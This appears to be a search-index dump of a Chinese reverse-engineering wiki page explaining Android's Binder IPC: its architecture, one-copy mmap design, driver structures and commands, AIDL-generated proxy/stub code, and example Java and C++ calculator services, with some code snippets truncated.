┌─────────────────────────────────────────────────────────────────────────┐ │ Binder 通信架构 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 用户空间 │ │ │ │ │ │ │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ Client │ │ Server │ │ │ │ │ │ (App 进程) │ │ (系统服务) │ │ │ │ │ │ │ │ │ │ │ │ │ │ Proxy │──────────────────────────│ Stub │ │ │ │ │ │ (代理) │ │ (存根) │ │ │ │ │ └──────┬──────┘ └──────┬──────┘ │ │ │ │ │ │ │ │ │ │ │ ┌─────────────────────┐ │ │ │ │ │ │ │ ServiceManager │ │ │ │ │ │ │ │ (服务注册中心) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ┌───────────────┐ │ │ │ │ │ │ │ │ │ 服务名 → 句柄 │ │ │ │ │ │ │ │ │ │ GPS → 0x01 │ │ │ │ │ │ │ │ │ │ Audio → 0x02 │ │ │ │ │ │ │ │ │ └───────────────┘ │ │ │ │ │ │ │ └──────────┬──────────┘ │ │ │ │ │ │ │ │ │ │ │ └─────────┼───────────────┼───────────────────────┼───────────────┘ │ │ │ │ │ │ │ ┌─────────┼───────────────┼───────────────────────┼───────────────┐ │ │ │ ▼ ▼ ▼ │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ │ │ Binder Driver │ │ │ │ │ │ (/dev/binder) │ │ │ │ │ │ │ │ │ │ │ │ ┌──────────────────────────────────────────────────┐ │ │ │ │ │ │ │ 内核缓冲区 (mmap) │ │ │ │ │ │ │ │ ↕ 内存映射 ↕ │ │ │ │ │ │ │ │ Client 数据 ────────────► Server 可见 │ │ │ │ │ │ │ └──────────────────────────────────────────────────┘ │ │ │ │ │ │ │ │ │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ 内核空间 │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:2:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#2-binder-架构四要素"},{"categories":null,"collections":null,"content":"2.1 Client (客户端) 发起服务请求的进程。 // Client 端代码示例 // 获取系统服务 LocationManager locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); // 调用服务方法 (实际是跨进程调用) Location location = locationManager.getLastKnownLocation(GPS_PROVIDER); ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:2:1","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#21-client-客户端"},{"categories":null,"collections":null,"content":"2.2 Server (服务端) 提供服务的进程。 // Server 端代码示例 public class LocationManagerService extends ILocationManager.Stub { @Override public Location getLastKnownLocation(String provider) { // 真正的定位逻辑 return calculateLocation(provider); } } ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:2:2","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#22-server-服务端"},{"categories":null,"collections":null,"content":"2.3 ServiceManager (服务注册中心) 作用：电话本 / DNS。 /** * ServiceManager 核心功能 */ public class ServiceManager { // 服务注册表 private static HashMap\u003cString, IBinder\u003e sCache = new HashMap\u003c\u003e(); /** * Server 注册服务 */ public static void addService(String name, IBinder service) { // 向 Binder 驱动注册 // \"我是定位服务，句柄是 0x01\" sCache.put(name, service); } /** * Client 获取服务 */ public static IBinder getService(String name) { // 返回服务的 Binder 代理 return sCache.get(name); } } 流程： Server 启动后注册到 ServiceManager Client 想用服务时，先问 ServiceManager 要到 Server 的句柄 Client 通过句柄与 Server 通信 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:2:3","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#23-servicemanager-服务注册中心"},{"categories":null,"collections":null,"content":"2.4 Binder Driver (Binder 驱动) 位置：Linux 内核层 (/dev/binder) 作用：幕后英雄 Client、Server、ServiceManager 都在用户空间，彼此不能直接访问内存 所有的数据传输、对象映射、线程管理，全靠内核里的驱动来搬运 // Binder 驱动核心数据结构 struct binder_proc { struct hlist_node proc_node; struct rb_root threads; // 线程红黑树 struct rb_root nodes; // Binder 实体红黑树 struct rb_root refs_by_desc; // Binder 引用红黑树 struct rb_root refs_by_node; struct list_head todo; // 待处理任务列表 wait_queue_head_t wait; // 等待队列 struct mm_struct *vma_vm_mm; // 内存映射 void *buffer; // 内核缓冲区 size_t buffer_size; // 缓冲区大小 }; ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:2:4","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#24-binder-driver-binder-驱动"},{"categories":null,"collections":null,"content":"3. Binder 通信原理：一次拷贝 这是 Binder 最核心的技术亮点。 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:3:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#3-binder-通信原理一次拷贝"},{"categories":null,"collections":null,"content":"3.1 传统 IPC (如 Socket)：两次拷贝 ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ Client │ │ Kernel │ │ Server │ │ 用户空间 │ │ 内核空间 │ │ 用户空间 │ │ │ │ │ │ │ │ [数据] │ ──────► │ [数据] │ ──────► │ [数据] │ │ │ copy 1 │ │ copy 2 │ │ │ │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ ↑ ↑ ↑ 用户态数据 copy_from_user copy_to_user copy_to_user ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:3:1","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#31-传统-ipc-如-socket两次拷贝"},{"categories":null,"collections":null,"content":"3.2 Binder 机制：一次拷贝 ┌─────────────┐ ┌─────────────────────────────────────────┐ │ Client │ │ Kernel + Server │ │ 用户空间 │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ 内核缓冲区 │◄──►│ Server 映射 │ │ │ [数据] │ ──────► │ │ [数据] │ │ [数据] │ │ │ │ copy 1 │ │ │ │ (可直接读) │ │ │ │ │ └─────────────┘ └─────────────┘ │ └─────────────┘ │ ↑ ↑ │ │ └───── mmap 映射 ───┘ │ │ (同一物理内存) │ └─────────────────────────────────────────┘ ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:3:2","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#32-binder-机制一次拷贝"},{"categories":null,"collections":null,"content":"3.3 内存映射原理 /** * Binder 内存映射实现 */ // Server 启动时调用 int binder_mmap(struct file *filp, struct vm_area_struct *vma) { struct binder_proc *proc = filp-\u003eprivate_data; // 1. 分配内核缓冲区 proc-\u003ebuffer = kzalloc(vma-\u003evm_end - vma-\u003evm_start, GFP_KERNEL); // 2. 将内核缓冲区映射到 Server 的用户空间 // 这样内核缓冲区和 Server 用户空间指向同一物理内存 remap_pfn_range(vma, vma-\u003evm_start, virt_to_phys(proc-\u003ebuffer) \u003e\u003e PAGE_SHIFT, vma-\u003evm_end - vma-\u003evm_start, vma-\u003evm_page_prot); return 0; } // 数据传输时 void binder_transaction(struct binder_proc *target_proc, struct binder_buffer *buffer, void __user *data, size_t size) { // 只需要一次拷贝：从 Client 用户空间 → 内核缓冲区 copy_from_user(buffer-\u003edata, data, size); // Server 直接可见 (因为 mmap 映射) // 不需要 copy_to_user } ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:3:3","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#33-内存映射原理"},{"categories":null,"collections":null,"content":"3.4 一次拷贝 vs 零次拷贝 方案 拷贝次数 优点 缺点 共享内存 0 次 效率最高 需要同步机制、不安全 Binder 1 次 安全、有驱动管理 效率略低于共享内存 Socket 2 次 通用 效率低 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:3:4","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#34-一次拷贝-vs-零次拷贝"},{"categories":null,"collections":null,"content":"4. Binder 驱动详解 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:4:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#4-binder-驱动详解"},{"categories":null,"collections":null,"content":"4.1 Binder 驱动入口 // 驱动初始化 static int __init binder_init(void) { int ret; // 创建 /dev/binder 设备节点 ret = misc_register(\u0026binder_miscdev); // 创建 Binder 工作队列 binder_deferred_workqueue = create_singlethread_workqueue(\"binder\"); return ret; } // 文件操作 static const struct file_operations binder_fops = { .owner = THIS_MODULE, .open = binder_open, .release = binder_release, .mmap = binder_mmap, // 内存映射 .unlocked_ioctl = binder_ioctl, // 核心控制 .poll = binder_poll, .flush = binder_flush, }; ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:4:1","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#41-binder-驱动入口"},{"categories":null,"collections":null,"content":"4.2 ioctl 命令 // Binder 驱动的 ioctl 命令 #define BINDER_WRITE_READ _IOWR('b', 1, struct binder_write_read) #define BINDER_SET_MAX_THREADS _IOW('b', 5, __u32) #define BINDER_SET_CONTEXT_MGR _IOW('b', 7, __s32) #define BINDER_THREAD_EXIT _IOW('b', 8, __s32) #define BINDER_VERSION _IOWR('b', 9, struct binder_version) // 最核心的命令：BINDER_WRITE_READ // 用于发送和接收 Binder 数据 struct binder_write_read { binder_size_t write_size; // 写入数据大小 binder_size_t write_consumed; // 已消费的写入数据 binder_uintptr_t write_buffer; // 写入缓冲区 binder_size_t read_size; // 读取数据大小 binder_size_t read_consumed; // 已消费的读取数据 binder_uintptr_t read_buffer; // 读取缓冲区 }; ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:4:2","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#42-ioctl-命令"},{"categories":null,"collections":null,"content":"4.3 Binder 协议命令 // Client → Driver 的命令 (BC: Binder Command) enum binder_driver_command_protocol { BC_TRANSACTION = _IOW('c', 0, struct binder_transaction_data), BC_REPLY = _IOW('c', 1, struct binder_transaction_data), BC_ACQUIRE_RESULT = _IOW('c', 2, __s32), BC_FREE_BUFFER = _IOW('c', 3, binder_uintptr_t), BC_INCREFS = _IOW('c', 4, __u32), BC_ACQUIRE = _IOW('c', 5, __u32), BC_RELEASE = _IOW('c', 6, __u32), BC_DECREFS = _IOW('c', 7, __u32), BC_ENTER_LOOPER = _IO('c', 12), BC_EXIT_LOOPER = _IO('c', 13), BC_REGISTER_LOOPER = _IO('c', 11), }; // Driver → Client/Server 的返回 (BR: Binder Return) enum binder_driver_return_protocol { BR_ERROR = _IOR('r', 0, __s32), BR_OK = _IO('r', 1), BR_TRANSACTION = _IOR('r', 2, struct binder_transaction_data), BR_REPLY = _IOR('r', 3, struct binder_transaction_data), BR_DEAD_BINDER = _IOR('r', 15, binder_uintptr_t), BR_SPAWN_LOOPER = _IO('r', 13), }; ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:4:3","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#43-binder-协议命令"},{"categories":null,"collections":null,"content":"5. AIDL 与代码层实现 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:5:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#5-aidl-与代码层实现"},{"categories":null,"collections":null,"content":"5.1 AIDL 文件定义 // ILocationService.aidl package com.example.service; interface ILocationService { Location getLastKnownLocation(String provider); void requestLocationUpdates(String provider, long minTime, float minDistance, ILocationListener listener); } ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:5:1","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#51-aidl-文件定义"},{"categories":null,"collections":null,"content":"5.2 生成的代码结构 /** * AIDL 编译后生成的代码 */ public interface ILocationService extends IInterface { // Stub: Server 端实现 public static abstract class Stub extends Binder implements ILocationService { private static final String DESCRIPTOR = \"com.example.service.ILocationService\"; public Stub() { this.attachInterface(this, DESCRIPTOR); } // 将 IBinder 转换为接口 public static ILocationService asInterface(IBinder obj) { if (obj == null) return null; // 检查是否同一进程 (本地调用) IInterface iin = obj.queryLocalInterface(DESCRIPTOR); if (iin != null \u0026\u0026 iin instanceof ILocationService) { return (ILocationService) iin; } // 跨进程，返回 Proxy return new Proxy(obj); } @Override public boolean onTransact(int code, Parcel data, Parcel reply, int flags) { switch (code) { case TRANSACTION_getLastKnownLocation: { data.enforceInterface(DESCRIPTOR); String provider = data.readString(); // 调用真正的实现 Location result = this.getLastKnownLocation(provider); reply.writeNoException(); result.writeToParcel(reply, 0); return true; } } return super.onTransact(code, data, reply, flags); } } // Proxy: Client 端代理 private static class Proxy implements ILocationService { private IBinder mRemote; Proxy(IBinder remote) { mRemote = remote; } @Override public Location getLastKnownLocation(String provider) { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); try { data.writeInterfaceToken(DESCRIPTOR); data.writeString(provider); // 跨进程调用 mRemote.transact(TRANSACTION_getLastKnownLocation, data, reply, 0); reply.readException(); Location result = Location.CREATOR.createFromParcel(reply); return result; } finally { data.recycle(); reply.recycle(); } } } } ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:5:2","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#52-生成的代码结构"},{"categories":null,"collections":null,"content":"5.3 Parcel 数据序列化 /** * Parcel: Binder 数据传输的序列化容器 */ public class Location implements Parcelable { private double latitude; private double longitude; private String provider; // 写入 Parcel @Override public void writeToParcel(Parcel dest, int flags) { dest.writeDouble(latitude); dest.writeDouble(longitude); dest.writeString(provider); } // 从 Parcel 读取 public static final Creator\u003cLocation\u003e CREATOR = new Creator\u003cLocation\u003e() { @Override public Location createFromParcel(Parcel in) { Location location = new Location(); location.latitude = in.readDouble(); location.longitude = in.readDouble(); location.provider = in.readString(); return location; } @Override public Location[] newArray(int size) { return new Location[size]; } }; } ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:5:3","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#53-parcel-数据序列化"},{"categories":null,"collections":null,"content":"6. 实战示例代码 💡 思路一句话: Binder 是 Android 进程间通信的核心 — 理解 Binder 调用链（Client Proxy → Binder Driver → Server Stub）后，可以通过 hook Binder.transact 拦截和修改任意跨进程调用。 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:6:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#6-实战示例代码"},{"categories":null,"collections":null,"content":"6.1 完整 AIDL 服务实现 以下是一个完整的自定义 Binder 服务示例，包含服务端、客户端和 AIDL 定义。 步骤 1：定义 AIDL 接口 // ICalculatorService.aidl package com.example.binderservice; interface ICalculatorService { int add(int a, int b); int subtract(int a, int b); int multiply(int a, int b); double divide(int a, int b); // 支持回调的异步方法 oneway void calculateAsync(int a, int b, ICalculatorCallback callback); } // ICalculatorCallback.aidl package com.example.binderservice; interface ICalculatorCallback { void onResult(int result); void onError(String message); } 步骤 2：实现服务端 /** * 计算器服务实现 * Server 端：实现 AIDL 定义的接口 */ public class CalculatorService extends Service { private static final String TAG = \"CalculatorService\"; // Binder 实现类 private final ICalculatorService.Stub mBinder = new ICalculatorService.Stub() { @Override public int add(int a, int b) throws RemoteException { Log.d(TAG, \"add() called: \" + a + \" + \" + b); // 可以获取调用者的 UID/PID 进行权限校验 int callingUid = Binder.getCallingUid(); int callingPid = Binder.getCallingPid(); Log.d(TAG, \"Caller UID: \" + callingUid + \", PID: \" + callingPid); return a + b; } @Override public int subtract(int a, int b) throws RemoteException { return a - b; } @Override public int multiply(int a, int b) throws RemoteException { return a * b; } @Override public double divide(int a, int b) throws RemoteException { if (b == 0) { throw new RemoteException(\"Division by zero\"); } return (double) a / b; } @Override public void calculateAsync(int a, int b, ICalculatorCallback callback) throws RemoteException { // 异步计算，通过回调返回结果 new Thread(() -\u003e { try { Thread.sleep(1000); // 模拟耗时操作 int result = a + b; callback.onResult(result); } catch (Exception e) { try { callback.onError(e.getMessage()); } catch (RemoteException re) { Log.e(TAG, \"Callback failed\", re); } } }).start(); } }; @Override public IBinder onBind(Intent intent) { Log.d(TAG, \"Service bound\"); return mBinder; } @Override public void onCreate() { super.onCreate(); Log.d(TAG, \"Service created\"); } @Override public void onDestroy() { super.onDestroy(); Log.d(TAG, \"Service destroyed\"); } } 步骤 3：AndroidManifest.xml 注册服务 \u003c!-- AndroidManifest.xml --\u003e \u003cservice android:name=\".CalculatorService\" android:enabled=\"true\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"com.example.binderservice.CALCULATOR\" /\u003e \u003c/intent-filter\u003e \u003c/service\u003e 步骤 4：实现客户端 /** * 客户端：跨进程调用服务 */ public class MainActivity extends AppCompatActivity { private static final String TAG = \"CalculatorClient\"; private ICalculatorService mService; private boolean mBound = false; // ServiceConnection 处理绑定事件 private ServiceConnection mConnection = new ServiceConnection() { @Override public void onServiceConnected(ComponentName name, IBinder service) { Log.d(TAG, \"Service connected\"); // 将 IBinder 转换为 AIDL 接口 // asInterface() 会判断是否同一进程 mService = ICalculatorService.Stub.asInterface(service); mBound = true; // 注册死亡代理 try { service.linkToDeath(mDeathRecipient, 0); } catch (RemoteException e) { e.printStackTrace(); } } @Override public void onServiceDisconnected(ComponentName name) { Log.d(TAG, \"Service disconnected\"); mService = null; mBound = false; } }; // 死亡代理：监控 Server 进程是否死亡 private IBinder.DeathRecipient mDeathRecipient = new IBinder.DeathRecipient() { @Override public void binderDied() { Log.w(TAG, \"Service died! Reconnecting...\"); mService = null; mBound = false; // 可以在这里尝试重新绑定 bindToService(); } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 绑定服务 bindToService(); } private void bindToService() { Intent intent = new Intent(); intent.setAction(\"com.example.binderservice.CALCULATOR\"); intent.setPackage(\"com.example.binderservice\"); // 目标包名 bindService(intent, mConnection, Context.BIND_AUTO_CREATE); } /** * 调用服务方法 */ public void performCalculation() { if (!mBound || mService == null) { Log.e(TAG, \"Service not bound\"); return; } try { // 同步调用 int sum = mService.add(10, 20); Log.d(TAG, \"10 + 20 = \" + sum); int diff = mService.subtract(30, 15","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:6:1","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#61-完整-aidl-服务实现"},{"categories":null,"collections":null,"content":"6.2 Native Binder (C++) 示例 在 Native 层直接使用 Binder，不依赖 Java/Kotlin。 Server 端 (C++) // NativeCalculatorService.h #pragma once #include \u003cbinder/Binder.h\u003e #include \u003cbinder/IInterface.h\u003e #include \u003cbinder/Parcel.h\u003e namespace android { // 接口定义 class INativeCalculator : public IInterface { public: DECLARE_META_INTERFACE(NativeCalculator); enum { TRANSACTION_ADD = IBinder::FIRST_CALL_TRANSACTION, TRANSACTION_SUBTRACT, TRANSACTION_MULTIPLY, }; virtual int32_t add(int32_t a, int32_t b) = 0; virtual int32_t subtract(int32_t a, int32_t b) = 0; virtual int32_t multiply(int32_t a, int32_t b) = 0; }; // Server 端 Stub 实现 class BnNativeCalculator : public BnInterface\u003cINativeCalculator\u003e { public: virtual status_t onTransact(uint32_t code, const Parcel\u0026 data, Parcel* reply, uint32_t flags) override; }; // 具体服务实现 class NativeCalculatorService : public BnNativeCalculator { public: NativeCalculatorService(); virtual ~NativeCalculatorService(); virtual int32_t add(int32_t a, int32_t b) override; virtual int32_t subtract(int32_t a, int32_t b) override; virtual int32_t multiply(int32_t a, int32_t b) override; }; } // namespace android // NativeCalculatorService.cpp #include \"NativeCalculatorService.h\" #include \u003cbinder/IPCThreadState.h\u003e #include \u003cbinder/ProcessState.h\u003e #include \u003cbinder/IServiceManager.h\u003e #include \u003cutils/Log.h\u003e #define LOG_TAG \"NativeCalculator\" namespace android { IMPLEMENT_META_INTERFACE(NativeCalculator, \"com.example.INativeCalculator\"); // Stub onTransact - 处理来自 Client 的请求 status_t BnNativeCalculator::onTransact(uint32_t code, const Parcel\u0026 data, Parcel* reply, uint32_t flags) { switch (code) { case TRANSACTION_ADD: { CHECK_INTERFACE(INativeCalculator, data, reply); int32_t a = data.readInt32(); int32_t b = data.readInt32(); // 获取调用者信息 uid_t callingUid = IPCThreadState::self()-\u003egetCallingUid(); pid_t callingPid = IPCThreadState::self()-\u003egetCallingPid(); ALOGD(\"add() called by UID=%d, PID=%d\", callingUid, callingPid); int32_t result = add(a, b); reply-\u003ewriteNoException(); reply-\u003ewriteInt32(result); return NO_ERROR; } case TRANSACTION_SUBTRACT: { CHECK_INTERFACE(INativeCalculator, data, reply); int32_t a = data.readInt32(); int32_t b = data.readInt32(); int32_t result = subtract(a, b); reply-\u003ewriteNoException(); reply-\u003ewriteInt32(result); return NO_ERROR; } case TRANSACTION_MULTIPLY: { CHECK_INTERFACE(INativeCalculator, data, reply); int32_t a = data.readInt32(); int32_t b = data.readInt32(); int32_t result = multiply(a, b); reply-\u003ewriteNoException(); reply-\u003ewriteInt32(result); return NO_ERROR; } default: return BBinder::onTransact(code, data, reply, flags); } } // 服务实现 NativeCalculatorService::NativeCalculatorService() { ALOGD(\"NativeCalculatorService created\"); } NativeCalculatorService::~NativeCalculatorService() { ALOGD(\"NativeCalculatorService destroyed\"); } int32_t NativeCalculatorService::add(int32_t a, int32_t b) { ALOGD(\"add(%d, %d)\", a, b); return a + b; } int32_t NativeCalculatorService::subtract(int32_t a, int32_t b) { ALOGD(\"subtract(%d, %d)\", a, b); return a - b; } int32_t NativeCalculatorService::multiply(int32_t a, int32_t b) { ALOGD(\"multiply(%d, %d)\", a, b); return a * b; } } // namespace android // 服务进程入口 int main(int argc, char** argv) { using namespace android; ALOGD(\"Starting NativeCalculatorService\"); // 初始化 ProcessState (打开 /dev/binder) sp\u003cProcessState\u003e proc(ProcessState::self()); // 获取 ServiceManager sp\u003cIServiceManager\u003e sm = defaultServiceManager(); // 注册服务 sm-\u003eaddService(String16(\"native.calculator\"), new NativeCalculatorService()); ALOGD(\"NativeCalculatorService registered\"); // 启动 Binder 线程池 ProcessState::self()-\u003estartThreadPool(); // 主线程也加入处理 IPCThreadState::self()-\u003ejoinThreadPool(); return 0; } Client 端 (C++) - Proxy 实现 // NativeCalculatorClient.cpp #include \u003cbinder/IServiceManager.h\u003e #include \u003cbinder/IPCThreadState.h\u003e #include \u003cbinder/ProcessState.h\u003e #include \u003cbinder/Parcel.h\u003e #include \u003cutils/Log.h\u003e #define LOG_TAG \"NativeCalculatorClient\" namespace android { // Client Proxy 实现 class BpNativeCalculator : p","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:6:2","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#62-native-binder-c-示例"},{"categories":null,"collections":null,"content":"6.3 ServiceManager 原理与实现 /** * ServiceManager 的核心实现 * 位置: frameworks/native/cmds/servicemanager/ */ // ServiceManager 数据结构 struct svcinfo { struct svcinfo *next; // 链表 uint32_t handle; // Binder 句柄 struct binder_death death; // 死亡通知 int allow_isolated; // 是否允许 isolated 进程访问 size_t len; // 服务名长度 uint16_t name[0]; // 服务名 (UTF-16) }; // 服务注册 int do_add_service(struct binder_state *bs, const uint16_t *s, size_t len, uint32_t handle, uid_t uid, int allow_isolated) { struct svcinfo *si; // 权限检查 if (!svc_can_register(s, len, uid)) { ALOGE(\"add_service('%s',%x) uid=%d - PERMISSION DENIED\", str8(s, len), handle, uid); return -1; } // 检查服务是否已存在 si = find_svc(s, len); if (si) { if (si-\u003ehandle) { // 服务已存在，更新句柄 svcinfo_death(bs, si); } si-\u003ehandle = handle; } else { // 创建新服务 si = malloc(sizeof(*si) + (len + 1) * sizeof(uint16_t)); si-\u003ehandle = handle; si-\u003elen = len; memcpy(si-\u003ename, s, (len + 1) * sizeof(uint16_t)); si-\u003ename[len] = '\\0'; si-\u003edeath.func = (void*) svcinfo_death; si-\u003edeath.ptr = si; si-\u003eallow_isolated = allow_isolated; si-\u003enext = svclist; svclist = si; // 头插法 } // 注册死亡通知 binder_acquire(bs, handle); binder_link_to_death(bs, handle, \u0026si-\u003edeath); return 0; } // 服务查找 uint32_t do_find_service(const uint16_t *s, size_t len, uid_t uid, pid_t spid) { struct svcinfo *si = find_svc(s, len); if (!si || !si-\u003ehandle) { return 0; // 服务不存在 } // 权限检查 if (!si-\u003eallow_isolated) { uid_t appid = uid % AID_USER; if (appid \u003e= AID_ISOLATED_START \u0026\u0026 appid \u003c= AID_ISOLATED_END) { return 0; // isolated 进程无权访问 } } return si-\u003ehandle; } ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:6:3","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#63-servicemanager-原理与实现"},{"categories":null,"collections":null,"content":"6.4 Parcel 底层原理 /** * Parcel 内部结构详解 * 位置: frameworks/native/libs/binder/Parcel.cpp */ class Parcel { public: Parcel(); ~Parcel(); // 数据写入 status_t writeInt32(int32_t val); status_t writeInt64(int64_t val); status_t writeFloat(float val); status_t writeDouble(double val); status_t writeString16(const String16\u0026 str); status_t writeStrongBinder(const sp\u003cIBinder\u003e\u0026 val); // 数据读取 int32_t readInt32(); int64_t readInt64(); float readFloat(); double readDouble(); String16 readString16(); sp\u003cIBinder\u003e readStrongBinder(); private: status_t mError; uint8_t* mData; // 数据缓冲区 size_t mDataSize; // 当前数据大小 size_t mDataCapacity; // 缓冲区容量 mutable size_t mDataPos; // 读写位置 binder_size_t* mObjects; // Binder 对象偏移数组 size_t mObjectsSize; // Binder 对象数量 size_t mObjectsCapacity; }; // 写入 int32 的实现 status_t Parcel::writeInt32(int32_t val) { return writeAligned(val); } template\u003cclass T\u003e status_t Parcel::writeAligned(T val) { // 确保 4 字节对齐 static_assert(PAD_SIZE_UNSAFE(sizeof(T)) == sizeof(T)); if ((mDataPos + sizeof(val)) \u003c= mDataCapacity) { restart_write: *reinterpret_cast\u003cT*\u003e(mData + mDataPos) = val; mDataPos += sizeof(val); if (mDataPos \u003e mDataSize) { mDataSize = mDataPos; } return NO_ERROR; } // 需要扩容 status_t err = growData(sizeof(val)); if (err == NO_ERROR) goto restart_write; return err; } // 写入 Binder 对象 (特殊处理) status_t Parcel::writeStrongBinder(const sp\u003cIBinder\u003e\u0026 val) { return flatten_binder(ProcessState::self(), val, this); } status_t flatten_binder(const sp\u003cProcessState\u003e\u0026 proc, const sp\u003cIBinder\u003e\u0026 binder, Parcel* out) { flat_binder_object obj; if (binder != nullptr) { BBinder* local = binder-\u003elocalBinder(); if (!local) { // 远程 Binder (Proxy) BpBinder* proxy = binder-\u003eremoteBinder(); obj.hdr.type = BINDER_TYPE_HANDLE; obj.binder = 0; obj.handle = proxy ? proxy-\u003ehandle() : 0; obj.cookie = 0; } else { // 本地 Binder (Stub) obj.hdr.type = BINDER_TYPE_BINDER; obj.binder = reinterpret_cast\u003cuintptr_t\u003e(local-\u003egetWeakRefs()); obj.cookie = reinterpret_cast\u003cuintptr_t\u003e(local); } } else { // null Binder obj.hdr.type = BINDER_TYPE_BINDER; obj.binder = 0; obj.cookie = 0; } return finish_flatten_binder(binder, obj, out); } 